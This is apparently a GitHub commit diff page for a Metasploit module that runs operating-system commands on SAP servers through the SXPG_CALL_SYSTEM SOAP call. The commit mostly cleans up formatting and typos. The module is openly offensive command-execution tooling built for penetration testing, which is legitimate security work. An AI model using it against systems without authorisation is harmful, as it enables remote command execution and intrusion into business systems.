Skip to content

Commit 308eee7

Browse files
committed
made requested changes
1 parent ddcc0a9 commit 308eee7

File tree

1 file changed

+28
-29
lines changed

1 file changed

+28
-29
lines changed

modules/auxiliary/scanner/sap/sap_soap_rfc_sxpg_call_system.rb

Lines changed: 28 additions & 29 deletions
Original file line numberDiff line numberDiff line change
@@ -6,13 +6,13 @@
66
##
77

88
##
9-
# This module is based on, inspired by, or is a port of a plugin available in
10-
# the Onapsis Bizploit Opensource ERP Penetration Testing framework -
9+
# This module is based on, inspired by, or is a port of a plugin available in
10+
# the Onapsis Bizploit Opensource ERP Penetration Testing framework -
1111
# http://www.onapsis.com/research-free-solutions.php.
12-
# Mariano Nuñez (the author of the Bizploit framework) helped me in my efforts
12+
# Mariano Nunez (the author of the Bizploit framework) helped me in my efforts
1313
# in producing the Metasploit modules and was happy to share his knowledge and
14-
# experience - a very cool guy. I'd also like to thank Chris John Riley,
15-
# Ian de Villiers and Joris van de Vis who have Beta tested the modules and
14+
# experience - a very cool guy. I'd also like to thank Chris John Riley,
15+
# Ian de Villiers and Joris van de Vis who have Beta tested the modules and
1616
# provided excellent feedback. Some people just seem to enjoy hacking SAP :)
1717
##
1818

@@ -23,29 +23,29 @@ class Metasploit4 < Msf::Auxiliary
2323
include Msf::Exploit::Remote::HttpClient
2424
include Msf::Auxiliary::Report
2525
include Msf::Auxiliary::Scanner
26-
26+
2727
def initialize
2828
super(
29-
'Name' => 'SAP SOAP RFC SXPG_CALL_SYSTEM',
30-
'Version' => '$Revision',
29+
'Name' => 'SAP SOAP RFC SXPG_CALL_SYSTEM Command Exec',
3130
'Description' => %q{
32-
This module makes use of the SXPG_CALL_SYSTEM Remote Function Call (via SOAP) to execute OS commands as configured in SM69.
31+
This module makes use of the SXPG_CALL_SYSTEM Remote Function Call (via SOAP)
32+
to execute OS commands as configured in SM69.
3333
},
34-
'References' => [[ 'URL', 'http://labs.mwrinfosecurity.com' ]],
34+
'References' => [[ 'URL', 'http://labs.mwrinfosecurity.com/tools/2012/04/27/sap-metasploit-modules/' ]],
3535
'Author' => [ 'Agnivesh Sathasivam','nmonkee' ],
3636
'License' => BSD_LICENSE
37-
)
37+
)
3838
register_options(
3939
[
4040
OptString.new('CLIENT', [true, 'Client', nil]),
4141
OptString.new('USERNAME', [true, 'Username', nil]),
4242
OptString.new('PASSWORD', [true, 'Password', nil]),
4343
OptString.new('CMD', [true, 'Command to be executed', nil]),
4444
OptString.new('PARAM', [false, 'Additional parameters', nil]),
45-
OptEnum.new('OS', [true, 'Target OS','ANYOS',['ANYOS', 'UNIX', 'Windows NT', 'AS/400', 'OS/400']]),
45+
OptEnum.new('OS', [true, 'Target OS','ANYOS',['ANYOS', 'UNIX', 'Windows NT', 'AS/400', 'OS/400']])
4646
], self.class)
4747
end
48-
48+
4949
def run_host(ip)
5050
os = datastore['OS']
5151
data = '<?xml version="1.0" encoding="utf-8" ?>'
@@ -75,10 +75,10 @@ def run_host(ip)
7575
'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions',
7676
'Cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore['CLIENT'],
7777
'Authorization' => 'Basic ' + user_pass,
78-
'Content-Type' => 'text/xml; charset=UTF-8',
78+
'Content-Type' => 'text/xml; charset=UTF-8'
7979
}
8080
}, 45)
81-
if (res and res.code != 500 and res.code != 200)
81+
if res and res.code != 500 and res.code != 200
8282
# to do - implement error handlers for each status code, 404, 301, etc.
8383
print_error("[SAP] #{ip}:#{rport} - something went wrong!")
8484
return
@@ -93,27 +93,26 @@ def run_host(ip)
9393
'Indent' => 1,
9494
'Columns' =>["Output",]
9595
)
96-
response = res.body
96+
response = res.body if res
9797
if response =~ /faultstring/
98-
error = response.scan(%r{<faultstring>(.*?)</faultstring>}).flatten
99-
sucess = false
98+
error = response.scan(%r{<faultstring>(.*?)</faultstring>})
99+
success = false
100100
end
101101
output = response.scan(%r{<MESSAGE>([^<]+)</MESSAGE>}).flatten
102102
for i in 0..output.length-1
103103
saptbl << [output[i]]
104104
end
105105
end
106-
rescue ::Rex::ConnectionError
107-
print_error("[SAP] #{ip}:#{rport} - Unable to connect")
108-
return
109-
end
110-
if success == true
111-
print(saptbl.to_s)
112-
end
113-
if sucess == false
114-
for i in 0..error.length-1
115-
print_error("[SAP] #{ip}:#{rport} - error #{error[i]}")
116-
end
106+
rescue ::Rex::ConnectionError
107+
print_error("[SAP] #{ip}:#{rport} - Unable to connect")
108+
return false
109+
end
110+
if success
111+
print(saptbl.to_s)
112+
elsif !success
113+
0.upto(error.length-1) do |i|
114+
print_error("[SAP] #{ip}:#{rport} - error #{error[i]}")
117115
end
118116
end
119117
end
118+
end

0 commit comments

Comments
 (0)